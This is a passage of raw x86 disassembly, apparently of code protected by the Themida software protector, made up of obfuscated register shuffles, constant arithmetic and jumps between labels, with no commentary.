jmp loc_5938B3
; ---------------------------------------------------------------------------
loc_597756: ; CODE XREF: Themida_:0059CFA9j
push edx
not byte ptr [esp+1]
pop edx
add dh, 0Ch
sub bl, 39h
sub bl, dh
add bl, 39h
jmp loc_59A990
; ---------------------------------------------------------------------------
loc_59776C: ; CODE XREF: Themida_:00591474j
pop ebx
add [esp+8], edx
jmp loc_59630A
; ---------------------------------------------------------------------------
loc_597776: ; CODE XREF: Themida_:0059DE1Dj
mov ax, [esp]
push 6279h
mov [esp], edx
mov edx, esp
add edx, 4
sub esp, 4
mov [esp], edi
push ebx
push 6E9301A9h
pop ebx
push ebx
jmp loc_5945D9
; ---------------------------------------------------------------------------
loc_5977A0: ; CODE XREF: Themida_:00597877j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5977A5: ; CODE XREF: Themida_:005A173Ej
sub ecx, edx
jmp loc_593BB6
; ---------------------------------------------------------------------------
loc_5977AC: ; CODE XREF: Themida_:0059FD65j
pop esi
xchg edi, [esp]
jmp loc_59F0AA
; ---------------------------------------------------------------------------
loc_5977B5: ; CODE XREF: Themida_:00592635j
pop esp
mov [esp], edx
jmp loc_59A3DF
; ---------------------------------------------------------------------------
loc_5977BE: ; CODE XREF: Themida_:0059DF9Fj
mov [esp], ebx
mov ebx, 4
add ecx, ebx
push dword ptr [esp]
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_59A5D5
; ---------------------------------------------------------------------------
loc_5977E5: ; CODE XREF: Themida_:00593731j
add ecx, 4
jmp loc_59B46A
; ---------------------------------------------------------------------------
loc_5977ED: ; CODE XREF: Themida_:00598784j
sub eax, 3A442AEAh
push esi
jmp loc_58F46B
; ---------------------------------------------------------------------------
loc_5977F8: ; CODE XREF: Themida_:005A26ADj
mov esi, [esp]
add esp, 4
jmp loc_5A22CB
; ---------------------------------------------------------------------------
loc_597803: ; CODE XREF: Themida_:005913B1j
push ebx
push 7C752034h
pop ebx
xor ebx, 75FB5B57h
xor ebx, 1A9B6C56h
and ebx, 5D6159Ah
xor ebx, 1141514h
mov ecx, ebx
pop ebx
add eax, ecx
pop ecx
xchg eax, [esp]
jmp loc_596119
; ---------------------------------------------------------------------------
loc_597830: ; CODE XREF: Themida_:0059AF63j
add esp, 4
jmp loc_59FFAE
; ---------------------------------------------------------------------------
loc_59783B: ; CODE XREF: Themida_:0058EF30j
pop esp
push edi
mov edi, 380C1316h
sub edi, 1
push edx
mov edx, 48495FCCh
and edx, 65652743h
sub edx, 0C4DCCEBFh
and edi, edx
pop edx
add edi, 21FA35C9h
add ebx, edi
push dword ptr [esp]
push dword ptr [esp]
pop edi
add esp, 4
add esp, 4
push dword ptr [eax]
jmp loc_5977A0
; ---------------------------------------------------------------------------
loc_59787C: ; CODE XREF: Themida_:0059E476j
push edx
push eax
mov eax, 74F8193Ch
mov edx, eax
pop eax
jmp loc_59EEAF
; ---------------------------------------------------------------------------
loc_59788B: ; CODE XREF: Themida_:005907C0j
xor ebx, [esp]
jmp loc_591424
; ---------------------------------------------------------------------------
loc_597893: ; CODE XREF: Themida_:0059328Dj
shr ecx, 2
jmp loc_5979CA
; ---------------------------------------------------------------------------
loc_59789B: ; CODE XREF: Themida_:00594406j
add edi, 2BD24771h
xor eax, edi
pop edi
add eax, 0CEF3A4F8h
jmp loc_59AB60
; ---------------------------------------------------------------------------
loc_5978AE: ; CODE XREF: Themida_:005900B7j
neg ebp
dec ebp
not ebp
jmp loc_59ADE5
; ---------------------------------------------------------------------------
loc_5978B8: ; CODE XREF: Themida_:00590DAAj
add esp, 4
xor edx, 0AB13C2CFh
mov ebp, edx
pop edx
add ecx, 2BCB107Ch
add ecx, ebp
sub ecx, 2BCB107Ch
jmp loc_5A1B00
; ---------------------------------------------------------------------------
loc_5978DA: ; CODE XREF: Themida_:00594448j
not edi
jmp loc_59B107
; ---------------------------------------------------------------------------
loc_5978E1: ; CODE XREF: Themida_:00591BEDj
mov eax, esp
add eax, 4
push edx
jmp loc_59FB75
; ---------------------------------------------------------------------------
loc_5978EE: ; CODE XREF: Themida_:00591DDCj
pop ecx
sub esp, 4
mov [esp], ebx
mov ebx, esp
push eax
mov eax, 4
add ebx, eax
pop eax
push eax
mov eax, 4
add ebx, eax
pop eax
xchg ebx, [esp]
pop esp
add ecx, 4
add ecx, 4
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_596772
; ---------------------------------------------------------------------------
loc_597932: ; CODE XREF: Themida_:005933C5j
pop esi
and eax, edi
pop edi
shr eax, 10h
xor eax, ecx
push edx
jmp loc_59A953
; ---------------------------------------------------------------------------
loc_597941: ; CODE XREF: Themida_:0059D6E4j
mov edx, 4
add edi, edx
pop edx
add edi, 4
xchg edi, [esp]
pop esp
mov dl, cl
pop ecx
not dl
xor dl, cl
xor cl, dl
xor dl, cl
dec cl
xor dl, cl
xor cl, dl
jmp loc_599702
; ---------------------------------------------------------------------------
loc_597969: ; CODE XREF: Themida_:005911C5j
sub eax, ebp
pop ebp
jmp loc_59D15C
; ---------------------------------------------------------------------------
loc_597971: ; CODE XREF: Themida_:00591F25j
xchg ebx, [esp]
jmp loc_5A3296
; ---------------------------------------------------------------------------
loc_597979: ; CODE XREF: Themida_:0059E182j
pop esi
sub esp, 4
mov [esp], ebx
push eax
mov eax, 4
mov ebx, eax
jmp loc_5A1195
; ---------------------------------------------------------------------------
loc_59798D: ; CODE XREF: Themida_:0059ABB4j
push 1D90h
mov [esp], edx
mov edx, 6BCB06CCh
not edx
sub edx, 53F8B61Ch
mov ebp, edx
pop edx
jmp loc_5A1FF2
; ---------------------------------------------------------------------------
loc_5979AA: ; CODE XREF: Themida_:005A146Ej
mov esp, [esp]
jmp loc_597E80
; ---------------------------------------------------------------------------
loc_5979B2: ; CODE XREF: Themida_:0059551Aj
shr ecx, 7
push 5653h
mov [esp], ebx
push esp
pop ebx
add ebx, 4
jmp loc_5A29E7
; ---------------------------------------------------------------------------
loc_5979CA: ; CODE XREF: Themida_:00597896j
push ebx
jmp loc_5908E3
; ---------------------------------------------------------------------------
loc_5979D0: ; CODE XREF: Themida_:0059C922j
sub esp, 4
mov [esp], eax
push 1
pop eax
push 27F9h
mov [esp], edx
jmp loc_599870
; ---------------------------------------------------------------------------
loc_5979EC: ; CODE XREF: Themida_:0059D5DBj
sub ecx, 4
xchg ecx, [esp]
jmp loc_59B9B9
; ---------------------------------------------------------------------------
loc_5979FA: ; CODE XREF: Themida_:005A1C7Aj
sub eax, ebx
jmp loc_593D93
; ---------------------------------------------------------------------------
loc_597A01: ; CODE XREF: Themida_:0059D018j
sub edx, 1FA32A3Ch
xor edx, 63C135E0h
or edx, 54D363E5h
sub edx, 182DF9B3h
xor ebx, edx
mov edx, [esp]
add esp, 4
jmp loc_59F49E
; ---------------------------------------------------------------------------
loc_597A29: ; CODE XREF: Themida_:0058F2D3j
mov eax, 5E4C4EA9h
sub eax, 5DD92E1Bh
sub eax, 542865B8h
add eax, 53B5452Eh
add ebp, eax
jmp loc_590583
; ---------------------------------------------------------------------------
loc_597A44: ; CODE XREF: Themida_:005A2BA1j
add ebp, ecx
pop ecx
jmp loc_59F753
; ---------------------------------------------------------------------------
loc_597A4C: ; CODE XREF: Themida_:0059D885j
add edx, 4
xchg edx, [esp]
pop esp
push esi
mov esi, 2
add ebx, esi
pop esi
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_5907DD
; ---------------------------------------------------------------------------
loc_597A6A: ; CODE XREF: Themida_:00595E7Aj
mov esi, [esp]
jmp loc_58F5D5
; ---------------------------------------------------------------------------
loc_597A72: ; CODE XREF: Themida_:005A2F91j
push dword ptr [esp]
pop ecx
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_59271E
; ---------------------------------------------------------------------------
loc_597A8A: ; CODE XREF: Themida_:0058ED7Bj
sub ebx, 3F881A13h
jmp loc_59D4F1
; ---------------------------------------------------------------------------
loc_597A95: ; CODE XREF: Themida_:005A103Cj
pop esp
mov [esp], eax
xor [esp], ebp
xor ebp, [esp]
xor [esp], ebp
push 2E8Ah
mov [esp], ebp
xchg edx, [esp]
not edx
jmp loc_5901B5
; ---------------------------------------------------------------------------
loc_597AB4: ; CODE XREF: Themida_:00592ADAj
mov [esp], ebp
mov ebp, 18415ABEh
shl ebp, 7
inc ebp
shl ebp, 6
push edx
mov edx, 31C92DFCh
push eax
mov eax, 6FE67536h
dec eax
jmp loc_598E4A
; ---------------------------------------------------------------------------
loc_597AD5: ; CODE XREF: Themida_:00599E61j
pop esi
jmp loc_59C94B
; ---------------------------------------------------------------------------
loc_597ADB: ; CODE XREF: Themida_:0059CBB5j
add ebp, 57D73E85h
or edx, ebp
pop ebp
jmp loc_594B59
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_597AE9: ; CODE XREF: sub_590877+FCEAj
neg cl
add cl, 8Fh
jmp loc_598C4B
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_597AF3: ; CODE XREF: Themida_:0058EAA3j
mov edx, 729A1D3Eh
add [esp+4], edx
pop edx
push ebx
mov ebx, 4C10D49h
sub [esp+4], ebx
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_597B24: ; CODE XREF: Themida_:00591CE0j
pop esp
pop bx
add bl, 0DAh
push small 1AFBh
mov [esp], dx
push ecx
push edx
mov dh, 39h
add dh, 68h
push ebx
mov bh, dh
mov ch, bh
mov ebx, [esp]
add esp, 4
pop edx
push eax
jmp loc_596291
; ---------------------------------------------------------------------------
loc_597B4E: ; CODE XREF: Themida_:0058F0E7j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], dx
jmp loc_59A89D
; ---------------------------------------------------------------------------
loc_597B63: ; CODE XREF: Themida_:00590EE6j
xor [esp], ecx
xor ecx, [esp]
jmp loc_59FC84
; ---------------------------------------------------------------------------
off_597B6E dd offset dword_562194+2D4h ; DATA XREF: Themida_:0058E074o
dw 0E900h
dd 0FFFF8F93h
; ---------------------------------------------------------------------------
loc_597B78: ; CODE XREF: Themida_:005A1161j
mov eax, 1FFC4D0Bh
mov ecx, 6A1637BFh
xor ecx, eax
push dword ptr [esp]
pop eax
jmp loc_59AE88
; ---------------------------------------------------------------------------
loc_597B8D: ; CODE XREF: Themida_:005999A5j
sub bh, 88h
add cl, bh
jmp loc_5905B5
; ---------------------------------------------------------------------------
loc_597B97: ; CODE XREF: Themida_:0059CB3Bj
not ebx
inc ebx
inc ebx
add ebx, 2FE90749h
add ebx, 0DD41603Fh
sub ebx, 20CE2FBEh
sub ebx, ecx
add ebx, 20CE2FBEh
xchg ebx, ecx
pop ebx
xor ecx, 0E898BE60h
jmp loc_59EBC3
; ---------------------------------------------------------------------------
loc_597BC3: ; CODE XREF: Themida_:005A18E0j
inc esi
not esi
sub esi, 6EC045D8h
jmp loc_59B625
; ---------------------------------------------------------------------------
loc_597BD1: ; CODE XREF: Themida_:005A2A97j
mov ecx, esp
add ecx, 4
jmp loc_59E4E2
; ---------------------------------------------------------------------------
loc_597BDE: ; CODE XREF: Themida_:005A25B2j
add esp, 4
push edi
mov edi, 0FE35B98h
push edx
mov edx, 6D1C3D75h
sub esp, 4
mov [esp], ebx
mov ebx, 7777720Dh
not ebx
sub ebx, 4BB37CAEh
sub edx, ebx
pop ebx
jmp loc_5A0B23
; ---------------------------------------------------------------------------
loc_597C0B: ; CODE XREF: Themida_:00594B00j
push esp
pop eax
push ebp
jmp loc_59BDE1
; ---------------------------------------------------------------------------
loc_597C13: ; CODE XREF: Themida_:0059682Cj
pop ebx
jmp loc_59AEC0
; ---------------------------------------------------------------------------
loc_597C19: ; CODE XREF: Themida_:00598840j
pop ebx
jmp loc_5A0F4F
; ---------------------------------------------------------------------------
loc_597C1F: ; CODE XREF: Themida_:00592F37j
pop edx
jmp loc_599ACD
; ---------------------------------------------------------------------------
loc_597C25: ; CODE XREF: Themida_:0059BB50j
sub esp, 4
mov [esp], edx
mov edx, 34B956C3h
xor edx, 78211E2Eh
inc edx
sub edx, 22684842h
xor edx, 57A4064Eh
add edx, 23554C1h
not edx
inc edx
jmp loc_5958E5
; ---------------------------------------------------------------------------
loc_597C51: ; CODE XREF: Themida_:005A0B7Dj
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edi
push 522h
mov [esp], ebx
mov ebx, 7833391Dh
mov edi, 87CCC6E7h
add edi, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
push ecx
jmp loc_59AD6B
; ---------------------------------------------------------------------------
loc_597C8D: ; CODE XREF: Themida_:005A2182j
add esp, 4
jmp loc_58F04D
; ---------------------------------------------------------------------------
loc_597C98: ; CODE XREF: Themida_:0059753Dj
mov ebx, 31C3A2Bh
sub ebx, 734092Ah
neg ebx
jmp loc_58E359
; ---------------------------------------------------------------------------
loc_597CAA: ; CODE XREF: Themida_:0059F776j
xor ebx, [esp]
pop esp
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], eax
push esp
mov eax, [esp]
add esp, 4
push 15ACh
mov [esp], ecx
jmp loc_58F155
; ---------------------------------------------------------------------------
loc_597CCF: ; CODE XREF: Themida_:00590856j
mov ecx, 2CA14C54h
mov ebp, 58A455A0h
xor ebp, ecx
pop ecx
sub ebp, ebx
jmp loc_59FBC3
; ---------------------------------------------------------------------------
loc_597CE3: ; DATA XREF: Themida_:0058E0B0o
lodsb
sub al, 1Fh
add al, 0A6h
add al, bl
sub al, 0A6h
push ebx
mov bh, 1Ah
shr bh, 5
dec bh
not bh
push eax
push edx
mov dl, 0B5h
mov ah, dl
jmp loc_5A2BB9
; ---------------------------------------------------------------------------
loc_597D01: ; CODE XREF: Themida_:00598564j
xor edi, 6B205801h
push 53ADh
mov [esp], edi
mov edx, [esp]
add esp, 4
mov edi, [esp]
add esp, 4
loc_597D1E: ; CODE XREF: Themida_:005976E4j
; Themida_:005991BFj
push esi
push ebx
jmp loc_599000
; ---------------------------------------------------------------------------
loc_597D25: ; CODE XREF: Themida_:005A0C32j
pop esp
rol word ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_597D30: ; CODE XREF: Themida_:00594B14j
add ebp, ebx
pop ebx
sub ebx, ebp
pop ebp
add ebx, 1FA3486Bh
add ebx, edi
jmp loc_59EC89
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_597D43: ; CODE XREF: sub_59233E+245Aj
mov [esp-8+arg_4], ebx
push 0
jmp loc_59EC07
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_597D50: ; CODE XREF: Themida_:0059451Ej
mov edi, 4
jmp loc_590DC7
; ---------------------------------------------------------------------------
loc_597D5A: ; CODE XREF: Themida_:0059D6AAj
mov [esp], ecx
mov ecx, 59A251Fh
jmp loc_595B91
; ---------------------------------------------------------------------------
loc_597D67: ; CODE XREF: Themida_:0059B0F2j
mov [esp], ecx
mov ecx, 4
add ebx, ecx
pop ecx
xchg ebx, [esp]
pop esp
xor al, dl
jmp loc_590415
; ---------------------------------------------------------------------------
loc_597D7D: ; CODE XREF: Themida_:00593A5Ej
pop edx
xor esi, 82914EFh
push edi
mov edi, 2D975BDEh
jmp loc_59F33B
; ---------------------------------------------------------------------------
loc_597D8F: ; CODE XREF: Themida_:005A0807j
push ecx
mov ch, al
mov bl, ch
pop ecx
mov eax, [esp]
jmp loc_596D8E
; ---------------------------------------------------------------------------
loc_597D9D: ; CODE XREF: Themida_:0059AAB8j
push eax
push 25086126h
pop eax
sub esp, 4
mov [esp], ecx
mov ecx, 764D6325h
xor eax, ecx
pop ecx
xor eax, 4C012903h
add edx, 21C96513h
push edi
mov edi, 27C273DEh
sub edx, edi
pop edi
sub edx, eax
add edx, 27C273DEh
sub edx, 21C96513h
pop eax
push eax
mov eax, 1F395F43h
jmp loc_597542
; ---------------------------------------------------------------------------
loc_597DE3: ; CODE XREF: Themida_:005A2270j
mov ecx, [esp]
add esp, 4
jmp loc_5A0A4D
; ---------------------------------------------------------------------------
loc_597DEE: ; CODE XREF: Themida_:0059DFE6j
mov [esp], ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop ecx
push 6544h
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_598F22
; ---------------------------------------------------------------------------
loc_597E1D: ; CODE XREF: Themida_:0059D572j
sub edx, 4
xchg edx, [esp]
jmp loc_59935F
; ---------------------------------------------------------------------------
loc_597E2B: ; CODE XREF: Themida_:0059963Bj
push ecx
mov ecx, esp
add ecx, 4
push ebp
mov ebp, 4
sub ecx, ebp
mov ebp, [esp]
add esp, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
mov ebp, 6FFB08ADh
push 5CB8h
mov [esp], ebx
push ebp
push 41C925E3h
pop ebp
jmp loc_5992BB
; ---------------------------------------------------------------------------
loc_597E62: ; CODE XREF: Themida_:0059FF28j
pop ecx
push bx
mov bh, dh
jmp loc_59C699
; ---------------------------------------------------------------------------
loc_597E6C: ; CODE XREF: Themida_:005974FBj
add edx, 4
xchg edx, [esp]
jmp loc_591E92
; ---------------------------------------------------------------------------
loc_597E7A: ; CODE XREF: Themida_:00592444j
push esi
jmp loc_599618
; ---------------------------------------------------------------------------
loc_597E80: ; CODE XREF: Themida_:005979ADj
push 76C2h
mov [esp], ecx
sub esp, 4
jmp loc_5923D8
; ---------------------------------------------------------------------------
loc_597E93: ; CODE XREF: Themida_:0058E907j
add esi, 4
xchg esi, [esp]
mov esp, [esp]
add eax, 4
push 0E38h
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
mul ecx
push 4FBDh
mov [esp], edx
push eax
pushf
jmp loc_5A2B84
; ---------------------------------------------------------------------------
loc_597EC6: ; CODE XREF: Themida_:0059FBC4j
push 740Bh
jmp loc_5902CC
; ---------------------------------------------------------------------------
loc_597ED0: ; CODE XREF: Themida_:0059B10Fj
and ebx, edi
pop edi
shr ebx, 4
inc ebx
jmp loc_591AEB
; ---------------------------------------------------------------------------
loc_597EDC: ; CODE XREF: Themida_:00597737j
sub al, dl
pop edx
push ebx
jmp loc_596383
; ---------------------------------------------------------------------------
loc_597EE5: ; CODE XREF: Themida_:005A0511j
push 7C85h
mov [esp], ebp
mov ebp, 4
add ecx, ebp
mov ebp, [esp]
add esp, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_599BAC
; ---------------------------------------------------------------------------
loc_597F0E: ; CODE XREF: Themida_:0059D329j
or eax, eax
jz loc_58FEA2
push dword ptr [edi+1Ch]
jmp loc_59C156
; ---------------------------------------------------------------------------
loc_597F1E: ; CODE XREF: Themida_:0059307Cj
sub bl, ch
pop ecx
add bl, al
push small 4CD0h
mov [esp], dx
push 26D4h
jmp loc_5987C9
; ---------------------------------------------------------------------------
loc_597F35: ; CODE XREF: Themida_:0059F563j
add ch, 0C2h
sub ch, 19h
jmp loc_59F248
; ---------------------------------------------------------------------------
loc_597F40: ; CODE XREF: Themida_:00592160j
mov eax, 1
jmp loc_598617
; ---------------------------------------------------------------------------
loc_597F4A: ; CODE XREF: Themida_:00592AC7j
push dword ptr [esp]
jmp loc_5A1E71
; ---------------------------------------------------------------------------
loc_597F52: ; CODE XREF: Themida_:00599B45j
pop esp
mov [esp], ebp
push ecx
jmp loc_5935EB
; ---------------------------------------------------------------------------
loc_597F5C: ; CODE XREF: Themida_:0059D4CEj
mov [esp], ebp
mov ebp, 6CF2572Eh
mov ebx, ebp
pop ebp
jmp loc_59EBFD
; ---------------------------------------------------------------------------
loc_597F6C: ; CODE XREF: Themida_:005988E5j
shr edi, 2
jmp loc_5A2671
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F235
loc_597F74: ; CODE XREF: sub_59F235-E924j
mov eax, 12450830h
dec eax
jmp loc_59CBBA
; END OF FUNCTION CHUNK FOR sub_59F235
; ---------------------------------------------------------------------------
loc_597F7F: ; CODE XREF: Themida_:0059FD98j
push dword ptr [esp+4]
jmp loc_59C9FB
; ---------------------------------------------------------------------------
loc_597F88: ; CODE XREF: Themida_:00590B37j
sub esi, 14AD6510h
mov edx, [esp]
add esp, 4
push edi
mov edi, 5486330Eh
add eax, edi
pop edi
add eax, esi
push 5706h
jmp loc_5996F5
; ---------------------------------------------------------------------------
loc_597FA9: ; CODE XREF: Themida_:0059DF43j
pop esp
jmp loc_59D977
; ---------------------------------------------------------------------------
loc_597FAF: ; CODE XREF: Themida_:0058F8B3j
push 1897h
mov [esp], eax
sub esp, 4
push esp
pop dword ptr [esp]
jmp loc_59516D
; ---------------------------------------------------------------------------
loc_597FC6: ; CODE XREF: Themida_:00591F32j
pop ebx
jmp loc_598B43
; ---------------------------------------------------------------------------
loc_597FCC: ; CODE XREF: Themida_:00598155j
push esi
mov esi, 4
jmp loc_59D417
; ---------------------------------------------------------------------------
loc_597FD7: ; CODE XREF: Themida_:005998E6j
mov edx, [esp]
jmp loc_59F081
; ---------------------------------------------------------------------------
loc_597FDF: ; CODE XREF: Themida_:005A0938j
push eax
mov eax, 2
add esi, eax
pop eax
jmp loc_59E192
; ---------------------------------------------------------------------------
loc_597FED: ; CODE XREF: Themida_:005A2D18j
xchg edi, [esp]
pop esp
mov [esp], edi
push edx
mov edx, 3BD11456h
sub esp, 4
mov [esp], edx
jmp loc_59AACF
; ---------------------------------------------------------------------------
loc_598005: ; CODE XREF: Themida_:00593A9Cj
push edx
sub dword ptr [esp], 94512D4h
jmp loc_593A57
; ---------------------------------------------------------------------------
loc_598012: ; CODE XREF: Themida_:005A043Aj
sub al, cl
mov ecx, [esp]
push edi
jmp loc_5A007F
; ---------------------------------------------------------------------------
loc_59801D: ; CODE XREF: Themida_:0059613Aj
inc edx
dec edx
add edx, 46527139h
add eax, edx
pop edx
jmp loc_5A1465
; ---------------------------------------------------------------------------
loc_59802D: ; CODE XREF: Themida_:0059E087j
xor ebx, [esp]
jmp loc_59D517
; ---------------------------------------------------------------------------
loc_598035: ; DATA XREF: Themida_:0058E258o
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_598044: ; CODE XREF: Themida_:005A119Ej
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push ebp
mov ebp, 4
add esi, ebp
pop ebp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push ebx
push 5D64h
mov [esp], edx
jmp loc_5A138B
; ---------------------------------------------------------------------------
loc_598077: ; CODE XREF: Themida_:005A0979j
mov eax, esp
jmp loc_58F175
; ---------------------------------------------------------------------------
loc_59807E: ; CODE XREF: Themida_:005917AAj
add esp, 4
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
push esi
push esp
pop esi
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_59CB95
; ---------------------------------------------------------------------------
loc_5980A5: ; CODE XREF: Themida_:00590A87j
push eax
pop ecx
pop eax
push dword ptr [esp]
pop esi
add esp, 4
add edi, 7B9D44FBh
jmp loc_5913B6
; ---------------------------------------------------------------------------
loc_5980BA: ; CODE XREF: Themida_:00596476j
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_59E222
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_5980D4: ; CODE XREF: sub_59DA2F-7890j
or ebp, 2A5B4D2Ah
sub ebp, 0CE45392h
sub ebp, 0D26FC466h
xor ecx, ebp
pop ebp
mov eax, ecx
pop ecx
inc eax
inc eax
not eax
sub eax, 26F37DB8h
jmp loc_594825
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_5980FA: ; CODE XREF: Themida_:0059A510j
sub esp, 4
mov [esp], esi
mov esi, esp
jmp loc_59CD7B
; ---------------------------------------------------------------------------
loc_59810A: ; CODE XREF: Themida_:0059E654j
shr edx, 1
cmp eax, edx
jz loc_598AFF
push ecx
push edi
push 240B1F34h
pop edi
not edi
sub edi, 0DBF4E0CBh
mov ecx, edi
mov edi, [esp]
add esp, 4
push ebx
mov ebx, 20h
push ebp
jmp loc_590A55
; ---------------------------------------------------------------------------
loc_598138: ; CODE XREF: Themida_:00595842j
and edx, 1784017h
jmp loc_5904F2
; ---------------------------------------------------------------------------
loc_598143: ; CODE XREF: Themida_:005A25D4j
sub edi, 0C692B23Eh
add ebp, edi
pop edi
jmp loc_5908B3
; ---------------------------------------------------------------------------
loc_598151: ; CODE XREF: Themida_:0059AC7Ej
pop edi
push edi
mov edi, esp
jmp loc_597FCC
; ---------------------------------------------------------------------------
loc_59815A: ; CODE XREF: Themida_:0059C249j
push 6549h
mov [esp], esi
jmp loc_59374A
; ---------------------------------------------------------------------------
loc_598167: ; CODE XREF: Themida_:005900D9j
add esp, 4
add edx, 2BD84D00h
push ecx
jmp loc_59A2E8
; ---------------------------------------------------------------------------
loc_598179: ; CODE XREF: Themida_:0059520Aj
add edi, 4
xchg edi, [esp]
jmp loc_58F56D
; ---------------------------------------------------------------------------
loc_598187: ; CODE XREF: Themida_:005963DEj
add ebx, 45D670CCh
mov esi, [esp]
push edi
push esp
jmp loc_59726D
; ---------------------------------------------------------------------------
loc_598197: ; CODE XREF: Themida_:00599807j
push esi
push 15D17FF0h
jmp loc_58E781
; ---------------------------------------------------------------------------
loc_5981A2: ; CODE XREF: Themida_:005A2599j
mov edi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
add eax, 2FB70425h
add eax, 0D176296h
sub eax, edi
push ebx
mov ebx, 0D176296h
sub eax, ebx
jmp loc_59332A
; ---------------------------------------------------------------------------
loc_5981C7: ; CODE XREF: Themida_:0058F190j
mov edx, 4
add ebp, edx
mov edx, [esp]
add esp, 4
push 36D8h
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_59F291
; ---------------------------------------------------------------------------
loc_5981E8: ; CODE XREF: Themida_:00590957j
add edx, eax
pop eax
push ecx
mov ecx, 626E1827h
jmp loc_5A2D4C
; ---------------------------------------------------------------------------
loc_5981F6: ; CODE XREF: Themida_:00595C33j
push edi
push ebp
mov ebp, 70F04342h
xor [esp+4], ebp
push dword ptr [esp]
mov ebp, [esp]
jmp loc_58E471
; ---------------------------------------------------------------------------
loc_59820C: ; CODE XREF: Themida_:005952C3j
push ecx
jmp loc_59B8EC
; ---------------------------------------------------------------------------
loc_598212: ; CODE XREF: Themida_:0059C261j
and eax, 6A6115B6h
and eax, 174324B3h
not eax
sub eax, 0DA60C9DEh
push ebp
mov ebp, 0FFFFFFFFh
sub eax, ebp
pop ebp
shr eax, 2
shr eax, 2
jmp loc_5905FA
; ---------------------------------------------------------------------------
loc_598237: ; CODE XREF: Themida_:005986A3j
dec edx
xchg edx, esi
sub esi, 780C3FC7h
jmp loc_59C52B
; ---------------------------------------------------------------------------
loc_598245: ; CODE XREF: Themida_:005A31B3j
neg esi
add esi, 0D1913113h
xor ebx, esi
pop esi
jmp loc_58ECAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_598255: ; CODE XREF: sub_590877-2523j
push cx
mov cl, 6Ah
add al, cl
jmp loc_5A0540
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_598260: ; CODE XREF: Themida_:0058F5D0j
push ebx
mov ebx, esp
add ebx, 4
jmp loc_591D63
; ---------------------------------------------------------------------------
loc_59826E: ; CODE XREF: Themida_:005927F0j
push ebx
mov ebx, 4
add edi, ebx
jmp loc_59C7E4
; ---------------------------------------------------------------------------
loc_59827B: ; DATA XREF: Themida_:0058E240o
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push ebp
push 4C90h
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, 4
jmp loc_58EFA1
; ---------------------------------------------------------------------------
loc_5982B1: ; CODE XREF: Themida_:00598407j
mov [esp], ebx
mov ebx, esp
push ebp
mov ebp, 4
add ebx, ebp
jmp loc_5A181F
; ---------------------------------------------------------------------------
loc_5982C3: ; CODE XREF: Themida_:005942C3j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5982C8: ; CODE XREF: Themida_:0059D9BFj
pop eax
push 19CCh
mov [esp], esi
push esp
jmp loc_59219C
; ---------------------------------------------------------------------------
loc_5982D7: ; CODE XREF: Themida_:0059F06Aj
mov ebp, 0FFE4B026h
add ebp, ebx
pop ebx
jmp loc_59A8F1
; ---------------------------------------------------------------------------
loc_5982E4: ; CODE XREF: Themida_:0059D0AFj
mov ecx, [esp]
sub esp, 4
jmp loc_5A2D82
; ---------------------------------------------------------------------------
loc_5982EF: ; CODE XREF: Themida_:0059C445j
or edi, 655B01A3h
and edi, 6432048Ch
push 0
sub [esp], edi
pop edi
shr edi, 8
add edi, 0EB23DF7h
jmp loc_5960BD
; ---------------------------------------------------------------------------
loc_598312: ; CODE XREF: Themida_:005971EFj
sub cl, 0D8h
push dword ptr [esp]
jmp loc_59FFE8
; ---------------------------------------------------------------------------
loc_59831D: ; CODE XREF: Themida_:00596ACEj
push 7BB2h
mov [esp], ecx
push 1FB9237Bh
pop ecx
shl ecx, 2
add ecx, 67FB59A5h
push edi
push ebp
